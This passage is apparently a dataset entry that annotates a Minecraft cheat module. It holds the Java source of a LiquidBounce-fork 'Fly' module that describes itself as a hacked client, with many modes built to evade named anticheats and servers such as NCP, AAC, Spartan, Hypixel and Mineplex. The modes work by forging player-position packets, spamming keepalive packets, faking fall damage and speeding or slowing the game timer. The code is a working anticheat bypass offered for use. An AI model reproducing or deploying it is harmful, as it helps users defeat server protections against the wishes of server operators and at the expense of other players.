      "purpose": "Fly mode that sends a fresh C00PacketKeepAlive every tick while flying at vanilla speed, using keepalive spam instead of position mutation to hold the server's movement checks.",
      "how_it_works": "The keepalive case in the mode switch sends an empty C00PacketKeepAlive (default key 0) via addToSendQueue, sets isFlying false, zeroes motion, and strafes at vanillaSpeed; jump and sneak keys add vertical motion. The same module carries aac3, flag, minesecure and other modes that do not touch C00.",
      "detailed_code": "// ===== FILE: LiquidSense Dev, net/ccbluex/liquidbounce/features/module/modules/movement/Fly.java =====\n/*\n * LiquidBounce Hacked Client\n * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge.\n * https://github.com/CCBlueX/LiquidBounce/\n */\npackage net.ccbluex.liquidbounce.features.module.modules.movement;\n\nimport net.ccbluex.liquidbounce.event.*;\nimport net.ccbluex.liquidbounce.features.module.Module;\nimport net.ccbluex.liquidbounce.features.module.ModuleCategory;\nimport net.ccbluex.liquidbounce.features.module.ModuleInfo;\nimport net.ccbluex.liquidbounce.utils.ClientUtils;\nimport net.ccbluex.liquidbounce.utils.MovementUtils;\nimport net.ccbluex.liquidbounce.utils.render.RenderUtils;\nimport net.ccbluex.liquidbounce.utils.timer.MSTimer;\nimport net.ccbluex.liquidbounce.utils.timer.TickTimer;\nimport net.ccbluex.liquidbounce.value.BoolValue;\nimport net.ccbluex.liquidbounce.value.FloatValue;\nimport net.ccbluex.liquidbounce.value.IntegerValue;\nimport net.ccbluex.liquidbounce.value.ListValue;\nimport net.minecraft.block.BlockAir;\nimport net.minecraft.entity.player.PlayerCapabilities;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.C00PacketKeepAlive;\nimport net.minecraft.network.play.client.C02PacketUseEntity;\nimport net.minecraft.network.play.client.C03PacketPlayer;\nimport net.minecraft.network.play.client.C13PacketPlayerAbilities;\nimport net.minecraft.network.play.server.S08PacketPlayerPosLook;\nimport net.minecraft.potion.Potion;\nimport net.minecraft.util.*;\nimport org.lwjgl.input.Keyboard;\n\nimport java.awt.*;\nimport java.math.BigDecimal;\nimport java.math.RoundingMode;\nimport java.util.ArrayList;\nimport java.util.Random;\n\n@ModuleInfo(name = \"Fly\", description = \"Allows you to fly in survival mode.\", category = ModuleCategory.MOVEMENT, keyBind = Keyboard.KEY_F)\npublic class Fly extends Module {\n\n    public final ListValue modeValue = new ListValue(\"Mode\", new String[]{\n            \"Zoom\",\n            \"Vanilla\",\n            \"SmoothVanilla\",\n\n            // NCP\n            \"NCP\",\n            \"OldNCP\",\n\n            // AAC\n            \"AAC1.9.10\",\n            \"AAC3.0.5\",\n            \"AAC3.1.6-Gomme\",\n            \"AAC3.3.12\",\n            \"AAC3.3.12-Glide\",\n            \"AAC3.3.13\",\n\n            // CubeCraft\n            \"CubeCraft\",\n\n            // Hypixel\n            \"Hypixel\",\n            \"BoostHypixel\",\n            \"FreeHypixel\",\n\n            // Rewinside\n            \"Rewinside\",\n            \"TeleportRewinside\",\n\n            // Other server specific flys\n            \"Mineplex\",\n            \"NeruxVace\",\n            \"Minesucht\",\n\n            // Spartan\n            \"Spartan\",\n            \"Spartan2\",\n            \"BugSpartan\",\n\n            // Other anticheats\n            \"MineSecure\",\n            \"HawkEye\",\n            \"HAC\",\n            \"WatchCat\",\n\n            // Other\n            \"Jetpack\",\n            \"KeepAlive\",\n            \"Flag\"\n    }, \"Vanilla\");\n\n    private final FloatValue vanillaSpeedValue = new FloatValue(\"VanillaSpeed\", 2F, 0F, 5F);\n    private final BoolValue vanillaKickBypassValue = new BoolValue(\"VanillaKickBypass\", false);\n\n    private final FloatValue ncpMotionValue = new FloatValue(\"NCPMotion\", 0F, 0F, 1F);\n\n    // AAC\n    private final FloatValue aacSpeedValue = new FloatValue(\"AAC1.9.10-Speed\", 0.3F, 0F, 1F);\n    private final BoolValue aacFast = new BoolValue(\"AAC3.0.5-Fast\", true);\n    private final FloatValue aacMotion = new FloatValue(\"AAC3.3.12-Motion\", 10F, 0.1F, 10F);\n    private final FloatValue aacMotion2 = new FloatValue(\"AAC3.3.13-Motion\", 10F, 0.1F, 10F);\n\n    // Hypixel\n    private final BoolValue hypixelBoost = new BoolValue(\"Hypixel-Boost\", true);\n    private final IntegerValue hypixelBoostDelay = new IntegerValue(\"Hypixel-BoostDelay\", 1200, 0, 2000);\n    private final FloatValue hypixelBoostTimer = new FloatValue(\"Hypixel-BoostTimer\", 1F, 0F, 5F);\n\n    private final BoolValue blinkAttack = new BoolValue(\"Zoom-Attack\", true);\n    private final FloatValue blinkAttackPacket = new FloatValue(\"ZoomAttack-Packet\", 4F, 2F, 20F);\n\n    private final FloatValue mineplexSpeedValue = new FloatValue(\"MineplexSpeed\", 1F, 0.5F, 10F);\n    private final IntegerValue neruxVaceTicks = new IntegerValue(\"NeruxVace-Ticks\", 6, 0, 20);\n\n    // Visuals\n    private final BoolValue markValue = new BoolValue(\"Mark\", true);\n\n    private double startY;\n    private final MSTimer flyTimer = new MSTimer();\n\n    private final MSTimer groundTimer = new MSTimer();\n\n    public static boolean noPacketModify;\n\n    private double aacJump;\n\n    private int aac3delay;\n    private int aac3glideDelay;\n\n    private boolean noFlag;\n\n    private final MSTimer mineSecureVClipTimer = new MSTimer();\n\n    private final TickTimer spartanTimer = new TickTimer();\n\n    private long minesuchtTP;\n\n    private final MSTimer mineplexTimer = new MSTimer();\n\n    private boolean wasDead;\n\n    private final TickTimer hypixelTimer = new TickTimer();\n\n    private int boostHypixelState = 1;\n    private double moveSpeed, lastDistance;\n    private boolean failedStart = false;\n\n    private final TickTimer cubecraft2TickTimer = new TickTimer();\n    private final TickTimer cubecraftTeleportTickTimer = new TickTimer();\n\n    private final TickTimer freeHypixelTimer = new TickTimer();\n    private float freeHypixelYaw;\n    private float freeHypixelPitch;\n\n    public ListValue getModeValue() {\n        return modeValue;\n    }\n\n    private ArrayList<Packet> packetList = new ArrayList<Packet>();\n\n\n    @Override\n    public void onEnable() {\n        if(mc.thePlayer == null)\n            return;\n\n        flyTimer.reset();\n\n        noPacketModify = true;\n\n        double x = mc.thePlayer.posX;\n        double y = mc.thePlayer.posY;\n        double z = mc.thePlayer.posZ;\n\n        final String mode = modeValue.get();\n\n        switch(mode.toLowerCase()) {\n            case \"ncp\":\n                if(!mc.thePlayer.onGround)\n                    break;\n\n                for(int i = 0; i < 65; ++i) {\n                    mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(x, y + 0.049D, z, false));\n                    mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(x, y, z, false));\n                }\n                mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(x, y + 0.1D, z, true));\n\n                mc.thePlayer.motionX *= 0.1D;\n                mc.thePlayer.motionZ *= 0.1D;\n                mc.thePlayer.swingItem();\n                break;\n            case \"oldncp\":\n                if(!mc.thePlayer.onGround)\n                    break;\n\n                for(int i = 0; i < 4; i++) {\n                    mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(x, y + 1.01, z, false));\n                    mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(x, y, z, false));\n                }\n                mc.thePlayer.jump();\n                mc.thePlayer.swingItem();\n                break;\n            case \"bugspartan\":\n                for(int i = 0; i < 65; ++i) {\n                    mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(x, y + 0.049D, z, false));\n                    mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(x, y, z, false));\n                }\n                mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(x, y + 0.1D, z, true));\n\n                mc.thePlayer.motionX *= 0.1D;\n                mc.thePlayer.motionZ *= 0.1D;\n                mc.thePlayer.swingItem();\n                break;\n            case \"infinitycubecraft\":\n                ClientUtils.displayChatMessage(\"§8[§c§lCubeCraft-§a§lFly§8] §aPlace a block before landing.\");\n                break;\n            case \"infinityvcubecraft\":\n                ClientUtils.displayChatMessage(\"§8[§c§lCubeCraft-§a§lFly§8] §aPlace a block before landing.\");\n\n                mc.thePlayer.setPosition(mc.thePlayer.posX, mc.thePlayer.posY + 2, mc.thePlayer.posZ);\n                break;\n            case \"boosthypixel\":\n                if(!mc.thePlayer.onGround) break;\n\n                //for (int i = 0; i < 10; i++) //Imagine flagging to NCP.\n                //    mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, true));\n\n                mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, true));\n\n                double fallDistance = 3.0125; //add 0.0125 to ensure we get the fall dmg\n                while (fallDistance > 0) {\n                    mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY + 0.0624986421, mc.thePlayer.posZ, false));\n                    mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY + 0.0625      , mc.thePlayer.posZ, false));\n                    mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY + 0.0624986421, mc.thePlayer.posZ, false));\n                    mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY + 0.0000013579, mc.thePlayer.posZ, false));\n                    fallDistance -= 0.0624986421;\n                }\n                mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, true));\n\n                mc.thePlayer.jump();\n                mc.thePlayer.posY += 0.42F; // Visual\n                boostHypixelState = 1;\n                moveSpeed = 0.1D;\n                lastDistance = 0D;\n                failedStart = false;\n                break;\n            case \"zoom\":\n                if(!mc.thePlayer.onGround) break;\n\n                //for (int i = 0; i < 10; i++) //Imagine flagging to NCP.\n                //    mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, true));\n\n                mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, true));\n\n                double fall = 3.0125; //add 0.0125 to ensure we get the fall dmg\n                while (fall > 0) {\n                    mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY + 0.0624986421, mc.thePlayer.posZ, false));\n                    mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY + 0.0625      , mc.thePlayer.posZ, false));\n                    mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY + 0.0624986421, mc.thePlayer.posZ, false));\n                    mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY + 0.0000013579, mc.thePlayer.posZ, false));\n                    fall -= 0.0624986421;\n                }\n                mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, true));\n\n                mc.thePlayer.jump();\n                mc.thePlayer.posY += 0.42F; // Visual\n                boostHypixelState = 1;\n                moveSpeed = 0.1D;\n                lastDistance = 0D;\n                failedStart = false;\n                break;\n        }\n\n        startY = mc.thePlayer.posY;\n        aacJump = -3.8D;\n        noPacketModify = false;\n\n        if(mode.equalsIgnoreCase(\"freehypixel\")) {\n            freeHypixelTimer.reset();\n            mc.thePlayer.setPositionAndUpdate(mc.thePlayer.posX, mc.thePlayer.posY + 0.42D, mc.thePlayer.posZ);\n            freeHypixelYaw = mc.thePlayer.rotationYaw;\n            freeHypixelPitch = mc.thePlayer.rotationPitch;\n        }\n        super.onEnable();\n    }\n\n    @Override\n    public void onDisable() {\n        wasDead = false;\n\n        if (mc.thePlayer == null)\n            return;\n\n        noPacketModify = true;\n\n        noFlag = false;\n\n        final String mode = modeValue.get();\n\n        if (!mode.toUpperCase().startsWith(\"AAC\") && !mode.equalsIgnoreCase(\"Hypixel\") &&\n                !mode.equalsIgnoreCase(\"CubeCraft\")) {\n            mc.thePlayer.motionX = 0;\n            mc.thePlayer.motionY = 0;\n            mc.thePlayer.motionZ = 0;\n        }\n        mc.thePlayer.capabilities.isFlying = false;\n\n        mc.timer.timerSpeed = 1F;\n        mc.thePlayer.speedInAir = 0.02F;\n        if(mode.equalsIgnoreCase(\"Zoom\")) {\n            PlayerCapabilities playerCapabilities = new PlayerCapabilities();\n            playerCapabilities.allowFlying = true;\n            playerCapabilities.isFlying = true;\n            mc.thePlayer.sendQueue.addToSendQueue(new C13PacketPlayerAbilities(playerCapabilities));\n            for (Packet p:packetList) {\n                mc.getNetHandler().addToSendQueue(p);\n            }\n            packetList.clear();\n        }\n        noPacketModify = false;\n    }\n\n    @EventTarget\n    public void onUpdate(final UpdateEvent event) {\n        final float vanillaSpeed = vanillaSpeedValue.get();\n\n        switch (modeValue.get().toLowerCase()) {\n            case \"vanilla\":\n                mc.thePlayer.capabilities.isFlying = false;\n                mc.thePlayer.motionY = 0;\n                mc.thePlayer.motionX = 0;\n                mc.thePlayer.motionZ = 0;\n                if (mc.gameSettings.keyBindJump.isKeyDown())\n                    mc.thePlayer.motionY += vanillaSpeed;\n                if (mc.gameSettings.keyBindSneak.isKeyDown())\n                    mc.thePlayer.motionY -= vanillaSpeed;\n                MovementUtils.strafe(vanillaSpeed);\n\n                handleVanillaKickBypass();\n                break;\n            case \"smoothvanilla\":\n                mc.thePlayer.capabilities.isFlying = true;\n\n                handleVanillaKickBypass();\n                break;\n            case \"cubecraft\":\n                mc.timer.timerSpeed = 0.6F;\n\n                cubecraftTeleportTickTimer.update();\n                break;\n            case \"ncp\":\n                mc.thePlayer.motionY = -ncpMotionValue.get();\n\n                if(mc.gameSettings.keyBindSneak.isKeyDown())\n                    mc.thePlayer.motionY = -0.5D;\n                MovementUtils.strafe();\n                break;\n            case \"oldncp\":\n                if(startY > mc.thePlayer.posY)\n                    mc.thePlayer.motionY = -0.000000000000000000000000000000001D;\n\n                if(mc.gameSettings.keyBindSneak.isKeyDown())\n                    mc.thePlayer.motionY = -0.2D;\n\n                if(mc.gameSettings.keyBindJump.isKeyDown() && mc.thePlayer.posY < (startY - 0.1D))\n                    mc.thePlayer.motionY = 0.2D;\n                MovementUtils.strafe();\n                break;\n            case \"aac1.9.10\":\n                if(mc.gameSettings.keyBindJump.isKeyDown())\n                    aacJump += 0.2D;\n\n                if(mc.gameSettings.keyBindSneak.isKeyDown())\n                    aacJump -= 0.2D;\n\n                if((startY + aacJump) > mc.thePlayer.posY) {\n                    mc.getNetHandler().addToSendQueue(new C03PacketPlayer(true));\n                    mc.thePlayer.motionY = 0.8D;\n                    MovementUtils.strafe(aacSpeedValue.get());\n                }\n\n                MovementUtils.strafe();\n                break;\n            case \"aac3.0.5\":\n                if (aac3delay == 2)\n                    mc.thePlayer.motionY = 0.1D;\n                else if (aac3delay > 2)\n                    aac3delay = 0;\n\n                if (aacFast.get()) {\n                    if (mc.thePlayer.movementInput.moveStrafe == 0D)\n                        mc.thePlayer.jumpMovementFactor = 0.08F;\n                    else\n                        mc.thePlayer.jumpMovementFactor = 0F;\n                }\n\n                aac3delay++;\n                break;\n            case \"aac3.1.6-gomme\":\n                mc.thePlayer.capabilities.isFlying = true;\n\n                if (aac3delay == 2) {\n                    mc.thePlayer.motionY += 0.05D;\n                } else if (aac3delay > 2) {\n                    mc.thePlayer.motionY -= 0.05D;\n                    aac3delay = 0;\n                }\n\n                aac3delay++;\n\n                if(!noFlag)\n                    mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, mc.thePlayer.onGround));\n                if(mc.thePlayer.posY <= 0D)\n                    noFlag = true;\n                break;\n            case \"flag\":\n                mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C06PacketPlayerPosLook(mc.thePlayer.posX + mc.thePlayer.motionX * 999, mc.thePlayer.posY + (mc.gameSettings.keyBindJump.isKeyDown() ? 1.5624 : 0.00000001) - (mc.gameSettings.keyBindSneak.isKeyDown() ? 0.0624 : 0.00000002), mc.thePlayer.posZ + mc.thePlayer.motionZ * 999, mc.thePlayer.rotationYaw, mc.thePlayer.rotationPitch, true));\n                mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C06PacketPlayerPosLook(mc.thePlayer.posX + mc.thePlayer.motionX * 999, mc.thePlayer.posY - 6969, mc.thePlayer.posZ + mc.thePlayer.motionZ * 999, mc.thePlayer.rotationYaw, mc.thePlayer.rotationPitch, true));\n                mc.thePlayer.setPosition(mc.thePlayer.posX + mc.thePlayer.motionX * 11, mc.thePlayer.posY, mc.thePlayer.posZ + mc.thePlayer.motionZ * 11);\n                mc.thePlayer.motionY = 0F;\n                break;\n            case \"keepalive\":\n                mc.getNetHandler().addToSendQueue(new C00PacketKeepAlive());\n\n                mc.thePlayer.capabilities.isFlying = false;\n                mc.thePlayer.motionY = 0;\n                mc.thePlayer.motionX = 0;\n                mc.thePlayer.motionZ = 0;\n                if(mc.gameSettings.keyBindJump.isKeyDown())\n                    mc.thePlayer.motionY += vanillaSpeed;\n                if(mc.gameSettings.keyBindSneak.isKeyDown())\n                    mc.thePlayer.motionY -= vanillaSpeed;\n                MovementUtils.strafe(vanillaSpeed);\n                break;\n            case \"minesecure\":\n                mc.thePlayer.capabilities.isFlying = false;\n\n                if(!mc.gameSettings.keyBindSneak.isKeyDown())\n                    mc.thePlayer.motionY = -0.01F;\n\n                mc.thePlayer.motionX = 0;\n                mc.thePlayer.motionZ = 0;\n                MovementUtils.strafe(vanillaSpeed);\n\n                if(mineSecureVClipTimer.hasTimePassed(150) && mc.gameSettings.keyBindJump.isKeyDown()) {\n                    mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY + 5, mc.thePlayer.posZ, false));\n                    mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(0.5D, -1000, 0.5D, false));\n                    final double yaw = Math.toRadians(mc.thePlayer.rotationYaw);\n                    final double x = -Math.sin(yaw) * 0.4D;\n                    final double z = Math.cos(yaw) * 0.4D;\n                    mc.thePlayer.setPosition(mc.thePlayer.posX + x, mc.thePlayer.posY, mc.thePlayer.posZ + z);\n\n                    mineSecureVClipTimer.reset();\n                }\n                break;\n            case \"hac\":\n                mc.thePlayer.motionX *= 0.8;\n                mc.thePlayer.motionZ *= 0.8;\n            case \"hawkeye\":\n                mc.thePlayer.motionY = mc.thePlayer.motionY <= -0.42 ? 0.42 : -0.42;\n                break;\n            case \"teleportrewinside\":\n                final Vec3 vectorStart = new Vec3(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ);\n                final float yaw = -mc.thePlayer.rotationYaw;\n                final float pitch = -mc.thePlayer.rotationPitch;\n                final double length = 9.9;\n                final Vec3 vectorEnd = new Vec3(\n                        Math.sin(Math.toRadians(yaw)) * Math.cos(Math.toRadians(pitch)) * length + vectorStart.xCoord,\n                        Math.sin(Math.toRadians(pitch)) * length + vectorStart.yCoord,\n                        Math.cos(Math.toRadians(yaw)) * Math.cos(Math.toRadians(pitch)) * length + vectorStart.zCoord\n                );\n                mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(vectorEnd.xCoord, mc.thePlayer.posY + 2, vectorEnd.zCoord, true));\n                mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(vectorStart.xCoord, mc.thePlayer.posY + 2, vectorStart.zCoord, true));\n                mc.thePlayer.motionY = 0;\n                break;\n            case \"minesucht\":\n                final double posX = mc.thePlayer.posX;\n                final double posY = mc.thePlayer.posY;\n                final double posZ = mc.thePlayer.posZ;\n\n                if(!mc.gameSettings.keyBindForward.isKeyDown())\n                    break;\n\n                if(System.currentTimeMillis() - minesuchtTP > 99) {\n                    final Vec3 vec3 = mc.thePlayer.getPositionEyes(0);\n                    final Vec3 vec31 = mc.thePlayer.getLook(0);\n                    final Vec3 vec32 = vec3.addVector(vec31.xCoord * 7, vec31.yCoord * 7, vec31.zCoord * 7);\n\n                    if(mc.thePlayer.fallDistance > 0.8) {\n                        mc.thePlayer.sendQueue.addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(posX, posY + 50, posZ, false));\n                        mc.thePlayer.fall(100, 100);\n                        mc.thePlayer.fallDistance = 0;\n                        mc.thePlayer.sendQueue.addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(posX, posY + 20, posZ, true));\n                    }\n\n                    mc.thePlayer.sendQueue.addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(vec32.xCoord, mc.thePlayer.posY + 50, vec32.zCoord, true));\n                    mc.thePlayer.sendQueue.addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(posX, posY, posZ, false));\n                    mc.thePlayer.sendQueue.addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(vec32.xCoord, posY, vec32.zCoord, true));\n                    mc.thePlayer.sendQueue.addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(posX, posY, posZ, false));\n                    minesuchtTP = System.currentTimeMillis();\n                }else{\n                    mc.thePlayer.sendQueue.addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, false));\n                    mc.thePlayer.sendQueue.addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(posX, posY, posZ, true));\n                }\n                break;\n            case \"jetpack\":\n                if(mc.gameSettings.keyBindJump.isKeyDown()) {\n                    mc.effectRenderer.spawnEffectParticle(EnumParticleTypes.FLAME.getParticleID(), mc.thePlayer.posX, mc.thePlayer.posY + 0.2D, mc.thePlayer.posZ, -mc.thePlayer.motionX, -0.5D, -mc.thePlayer.motionZ);\n                    mc.thePlayer.motionY += 0.15D;\n                    mc.thePlayer.motionX *= 1.1D;\n                    mc.thePlayer.motionZ *= 1.1D;\n                }\n                break;\n            case \"mineplex\":\n                if(mc.thePlayer.inventory.getCurrentItem() == null) {\n                    if(mc.gameSettings.keyBindJump.isKeyDown() && mineplexTimer.hasTimePassed(100)) {\n                        mc.thePlayer.setPosition(mc.thePlayer.posX, mc.thePlayer.posY + 0.6, mc.thePlayer.posZ);\n                        mineplexTimer.reset();\n                    }\n\n                    if(mc.thePlayer.isSneaking() && mineplexTimer.hasTimePassed(100)) {\n                        mc.thePlayer.setPosition(mc.thePlayer.posX, mc.thePlayer.posY - 0.6, mc.thePlayer.posZ);\n                        mineplexTimer.reset();\n                    }\n\n                    final BlockPos blockPos = new BlockPos(mc.thePlayer.posX, mc.thePlayer.getEntityBoundingBox().minY - 1, mc.thePlayer.posZ);\n                    final Vec3 vec = new Vec3(blockPos).addVector(0.4F, 0.4F, 0.4F).add(new Vec3(EnumFacing.UP.getDirectionVec()));\n                    mc.playerController.onPlayerRightClick(mc.thePlayer, mc.theWorld, mc.thePlayer.inventory.getCurrentItem(), blockPos, EnumFacing.UP, new Vec3(vec.xCoord * 0.4F, vec.yCoord * 0.4F, vec.zCoord * 0.4F));\n                    MovementUtils.strafe(0.27F);\n\n                    mc.timer.timerSpeed = (1 + mineplexSpeedValue.get());\n                }else{\n                    mc.timer.timerSpeed = 1;\n                    setState(false);\n                    ClientUtils.displayChatMessage(\"§8[§c§lMineplex-§a§lFly§8] §aSelect an empty slot to fly.\");\n                }\n                break;\n            case \"aac3.3.12\":\n                if(mc.thePlayer.posY < -70)\n                    mc.thePlayer.motionY = aacMotion.get();\n\n                mc.timer.timerSpeed = 1F;\n\n                if(Keyboard.isKeyDown(Keyboard.KEY_LCONTROL)) {\n                    mc.timer.timerSpeed = 0.2F;\n                    mc.rightClickDelayTimer = 0;\n                }\n                break;\n            case \"aac3.3.12-glide\":\n                if(!mc.thePlayer.onGround)\n                    aac3glideDelay++;\n\n                if(aac3glideDelay == 2)\n                    mc.timer.timerSpeed = 1F;\n\n                if(aac3glideDelay == 12)\n                    mc.timer.timerSpeed = 0.1F;\n\n                if(aac3glideDelay >= 12 && !mc.thePlayer.onGround) {\n                    aac3glideDelay = 0;\n                    mc.thePlayer.motionY = .015;\n                }\n                break;\n            case \"aac3.3.13\":\n                if(mc.thePlayer.isDead)\n                    wasDead = true;\n\n                if(wasDead || mc.thePlayer.onGround) {\n                    wasDead = false;\n\n                    mc.thePlayer.motionY = aacMotion2.get();\n                    mc.thePlayer.onGround = false;\n                }\n\n                mc.timer.timerSpeed = 1F;\n\n                if(Keyboard.isKeyDown(Keyboard.KEY_LCONTROL)) {\n                    mc.timer.timerSpeed = 0.2F;\n                    mc.rightClickDelayTimer = 0;\n                }\n                break;\n            case \"watchcat\":\n                MovementUtils.strafe(0.15F);\n                mc.thePlayer.setSprinting(true);\n\n                if(mc.thePlayer.posY < startY + 2) {\n                    mc.thePlayer.motionY = Math.random() * 0.5;\n                    break;\n                }\n\n                if(startY > mc.thePlayer.posY)\n                    MovementUtils.strafe(0F);\n                break;\n            case \"spartan\":\n                mc.thePlayer.motionY = 0;\n                spartanTimer.update();\n                if(spartanTimer.hasTimePassed(12)) {\n                    mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY + 8, mc.thePlayer.posZ, true));\n                    mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY - 8, mc.thePlayer.posZ, true));\n                    spartanTimer.reset();\n                }\n                break;\n            case \"spartan2\":\n                MovementUtils.strafe(0.264F);\n\n                if(mc.thePlayer.ticksExisted % 8 == 0)\n                    mc.thePlayer.sendQueue.addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY + 10, mc.thePlayer.posZ, true));\n                break;\n            case \"neruxvace\":\n                if (!mc.thePlayer.onGround)\n                    aac3glideDelay++;\n\n                if (aac3glideDelay >= neruxVaceTicks.get() && !mc.thePlayer.onGround) {\n                    aac3glideDelay = 0;\n                    mc.thePlayer.motionY = .015;\n                }\n                break;\n            case \"hypixel\":\n                final int boostDelay = hypixelBoostDelay.get();\n                if (hypixelBoost.get() && !flyTimer.hasTimePassed(boostDelay)) {\n                    mc.timer.timerSpeed = 1F + (hypixelBoostTimer.get() * ((float) flyTimer.hasTimeLeft(boostDelay) / (float) boostDelay));\n                }\n\n                hypixelTimer.update();\n\n                if (hypixelTimer.hasTimePassed(2)) {\n                    mc.thePlayer.setPosition(mc.thePlayer.posX, mc.thePlayer.posY + 1.0E-5, mc.thePlayer.posZ);\n                    hypixelTimer.reset();\n                }\n                break;\n            case \"freehypixel\":\n                if(freeHypixelTimer.hasTimePassed(10)) {\n                    mc.thePlayer.capabilities.isFlying = true;\n                    break;\n                }else{\n                    mc.thePlayer.rotationYaw = freeHypixelYaw;\n                    mc.thePlayer.rotationPitch = freeHypixelPitch;\n                    mc.thePlayer.motionX = mc.thePlayer.motionZ = mc.thePlayer.motionY = 0;\n                }\n\n                if(startY == new BigDecimal(mc.thePlayer.posY).setScale(3, RoundingMode.HALF_DOWN).doubleValue())\n                    freeHypixelTimer.update();\n                break;\n            case \"bugspartan\":\n                mc.thePlayer.capabilities.isFlying = false;\n                mc.thePlayer.motionY = 0;\n                mc.thePlayer.motionX = 0;\n                mc.thePlayer.motionZ = 0;\n                if (mc.gameSettings.keyBindJump.isKeyDown())\n                    mc.thePlayer.motionY += vanillaSpeed;\n                if (mc.gameSettings.keyBindSneak.isKeyDown())\n                    mc.thePlayer.motionY -= vanillaSpeed;\n                MovementUtils.strafe(vanillaSpeed);\n                break;\n        }\n    }\n\n    @EventTarget\n    public void onMotion(final MotionEvent event) {\n        if(modeValue.get().equalsIgnoreCase(\"zoom\")) {\n            switch (event.getEventState()) {\n                case PRE:\n                    hypixelTimer.update();\n\n                    if (hypixelTimer.hasTimePassed(2)) {\n                        mc.thePlayer.setPosition(mc.thePlayer.posX, mc.thePlayer.posY + 1.0E-5, mc.thePlayer.posZ);\n                        hypixelTimer.reset();\n                    }\n\n                    if (!failedStart) mc.thePlayer.motionY = 0D;\n                    break;\n                case POST:\n                    double xDist = mc.thePlayer.posX - mc.thePlayer.prevPosX;\n                    double zDist = mc.thePlayer.posZ - mc.thePlayer.prevPosZ;\n                    lastDistance = Math.sqrt(xDist * xDist + zDist * zDist);\n                    break;\n            }\n        }\n        if(modeValue.get().equalsIgnoreCase(\"boosthypixel\")) {\n            switch(event.getEventState()) {\n                case PRE:\n                    hypixelTimer.update();\n\n                    if (hypixelTimer.hasTimePassed(2)) {\n                        mc.thePlayer.setPosition(mc.thePlayer.posX, mc.thePlayer.posY + 1.0999E-5, mc.thePlayer.posZ);\n                        hypixelTimer.reset();\n                    }\n\n                    if(!failedStart) mc.thePlayer.motionY = 0D;\n                    break;\n                case POST:\n                    double xDist = mc.thePlayer.posX - mc.thePlayer.prevPosX;\n                    double zDist = mc.thePlayer.posZ - mc.thePlayer.prevPosZ;\n                    lastDistance = Math.sqrt(xDist * xDist + zDist * zDist);\n                    break;\n            }\n        }\n    }\n\n    @EventTarget\n    public void onRender3D(final Render3DEvent event) {\n        final String mode = modeValue.get();\n\n        if (!markValue.get() || 